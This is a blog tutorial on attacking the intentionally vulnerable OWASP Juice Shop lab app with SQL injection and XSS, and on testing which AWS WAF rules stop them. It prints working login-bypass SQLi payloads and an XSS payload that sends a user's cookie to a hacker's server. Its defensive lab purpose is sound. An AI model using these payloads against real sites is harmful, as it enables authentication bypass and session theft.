Hack the OWASP Juice Shop application and protect it with AWS WAF (part 2)

Table of Contents

SQL injections (SQLi) and Cross-site Scripting (XSS)

 

In the previous post, we started exploring the OWASP Juice Shop vulnerable web application and how we can use AWS WAF to protect against some hacking techniques (scanning, brute-forcing). In this part, we will look at SQL Injections, Cross-Site Scripting, and other well-known attacks and vulnerabilities.

 

SQL Injections

According to The Open Worldwide Application Security Project (OWASP)

SQL injection attack consists of insertion or “injection” of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.

The first thing we can try to identify if our web application is vulnerable to SQL injections is to enter some well-known SQLi payloads into the Login form (user/email field), for example, a single quote sign '

Burp Suite Proxy was used to read details about the login request, and we can see the error, which tells us that SQLite is used for this application, and this also indicates that this field (Email) may be vulnerable to SQL Injection.

The error also shows us a DB Table name and columns, which can be used further for attacks.

Let’s use Burp Suite Intruder and try many different SQLi payloads on this input field:

SecLists/Fuzzing/SQLi/Generic-SQLi.txt was used for SQLi payloads

There are different status codes. Errors 401 tell us “Invalid email or password”, but Errors 500 show us something more interesting.

A bigger Length number means that the response contains something different from “Invalid email or password”, so we can try some of these payloads on the Login web page:

For example: ' or '1'='1' --

As we saw in the SQLite error earlier, the login attempt executes the SQL query like this:

`SELECT * FROM Users WHERE email = '${userInputEmail}' AND password = '${hashedPassword}' AND deletedAt IS NULL`;

So when we use ' or '1'='1' -- Instead of Email, we get the following under the hood:

SELECT * FROM Users 
WHERE email = '' OR '1'='1' --' 
  AND password = 'e0227fa7fa03f2a1644a86c973da4d91' 
  AND deletedAt IS NULL

After the --everything is ignored, so it effectively becomes:

SELECT * FROM Users 
WHERE '' OR '1'='1'

Result: Authentication bypass — attacker logs in as the first user in the table.

Other payloads may work in the same way with this application:

Successful login as Admin user.

AWS WAF vs SQL Injections

Let’s try the Fortinet Managed rule group as in the previous post:

And try the same SQL Injection on the second web application, protected by AWS WAF:

Error 403. WAF has noticed and blocked this injection.

Let’s use Burp Suite Intruder again and try all the payloads we have:

Now we see many 403 errors, where WAF has blocked the requests, but now all of them. We still have some 500 errors, and those payloads may work for an attack:

' or 1-- worked again

So, unfortunately, the Fortinet-all_rules Managed rule group does not cover 100% of cases

Let’s try other rule sets as well, AWS Managed:

And F5 OWASP:

They are active:

And use Intruder again:

We still have errors 500. Maybe those payloads will not lead to an Authentication bypass, but anyway, we need to remember that WAF is not a “Silver bullet”. In some cases, it will protect; in others, it may not. SQL injection vulnerability initially goes from the application side and should be fixed there first of all.

Ways to defend:

1. Use Parameterized Queries (Prepared Statements). Always use parameter binding instead of string concatenation.

cursor.execute("SELECT * FROM users WHERE email = %s AND password = %s", (email, password))

2. Use an ORM (Object Relational Mapper)

Frameworks like Sequelize (Node.js), SQLAlchemy (Python), Hibernate (Java), Entity Framework (.NET) abstract SQL and automatically use parameterized queries.

3. Whitelist Input Validation

Validate and restrict inputs, for example, emails must match a regex, IDs must be numeric, etc. Reject anything unexpected

4. Limit DB Privileges

Don’t connect your app as a root or admin user. Use a dedicated DB user with only the permissions needed, e.g.:

  • Can SELECTINSERT on users
  • Cannot DROP TABLEALTER, or access mysql.*

Even if SQLi succeeds, the attacker is limited.

Cross-Site Scripting (XSS)

According to The Open Worldwide Application Security Project (OWASP)

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.

An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page.

The website has a “Search” field. Let’s enter some HTML code there:

We can see that the code was completely inserted into the page:

Now let’s try some JavaScript code:

<iframe src="javascript:alert('HACKED')">

Still works. And this is evidence of the XSS vulnerability:

JavaScript code can be used to steal a token from an authenticated user. For example, we have a hacker’s web server 10.0.2.20:8000

The following code was inserted into the “Search” field on the website:

<img src=x onerror="fetch('http://10.0.2.20:8000?c='+document.cookie)">

And the hacker’s web server receives the token:

AWS WAF vs XSS

As usual, let’s begin with AWS Managed rules (This is not the most direct and quick solution, this is how I’m thinking and making decisions)

Core rule set, which contains the following XSS protection:

CrossSiteScripting_BODY

Inspects the request body for common cross-site scripting (XSS) patterns using the built-in AWS WAF Cross-site scripting attack rule statement. Example patterns include scripts like <script>alert("hello")</script>.

CrossSiteScripting_COOKIE

Inspects the values of cookie headers for common cross-site scripting (XSS) patterns using the built-in AWS WAF Cross-site scripting attack rule statement. Example patterns include scripts like <script>alert("hello")</script>.

CrossSiteScripting_QUERYARGUMENTS

Inspects the values of query arguments for common cross-site scripting (XSS) patterns using the built-in AWS WAF Cross-site scripting attack rule statement. Example patterns include scripts like <script>alert("hello")</script>.

CrossSiteScripting_URIPATH

Inspects the value of the URI path for common cross-site scripting (XSS) patterns using the built-in AWS WAF Cross-site scripting attack rule statement. Example patterns include scripts like <script>alert("hello")</script>.

And let’s add one more rule set from F5:

Let’s test the “Search” field again with the following code:

<iframe src="javascript:alert('HACKED')">

It’s still vulnerable, and WAF did not help.

We can see that the provided JavaScript code goes into the query string, so we can try one more custom WAF rule:

Add my own rules and rule groups — Type: Regular Rule

Inspect Query String – Matches regular expression

(?i)<iframe\s+[^>]*src\s*=\s*["']?javascript:

Still vulnerable, but one more thing we can try is to add Text transformation — URL decode

But it still does not help. So let’s try to understand why?

If we go to the Burp Suite Proxy, we don’t see such search requests and payload we enter into the search field:

And we have this hash sign# In the URL:

In the previous WAF rule I inspected Query String. According to the AWS documentation:

Query string

Inspects the part of the URL that appears after a ? character, if any.

It did not help, but we also have this:

URI fragment

Inspects the part of a URL that follows the “#” symbol, providing additional information about the resource, for example, #section2

It was released on March 18, 2025

Let’s try it (this time without regex):

Now it’s blocking:

But the problem is that for some reason it’s blocking everything (any request to the website):

At the same time, if I disable inspection of URI fragments and Enable others (Query string, Cookies, Body, URI Path, Headers)

It does not block the needed requests:

Conclusion about this XSS case:

The fragment #/search?q=... does not leave the browser. It’s purely for front-end routing (like in React, Angular, Vue apps using hash-based routing).

That means everything after the # is not sent to AWS WAF at all — not in the headers, query string, body, or path.

When I created the WAF rule matching URI fragment + XSS, AWS WAF was doing a pattern match against an empty or null value, and the internal logic may have treated it as a match — especially if the XSS rule is broad.

That explains why it even blocked requests with no fragment at all.

What can we do in such case?

  1. Change client-side routing from hash-based (#/route) to path/query (/route?param=value).
  2. Use front-end validation, detect and block XSS attempts using JavaScript on the client.

 

Conclusion

In this post we looked at SQL Injections and Cross-Site Scripting attacks against the OWASP Juice Shop vulnerable application and tried to protect it using AWS WAF.

AWS WAF can help I some case, but not ALL, as we could see in the provided examples. Web Application security should rely on application login and programing code first of all. AWS WAF should be a complementary tool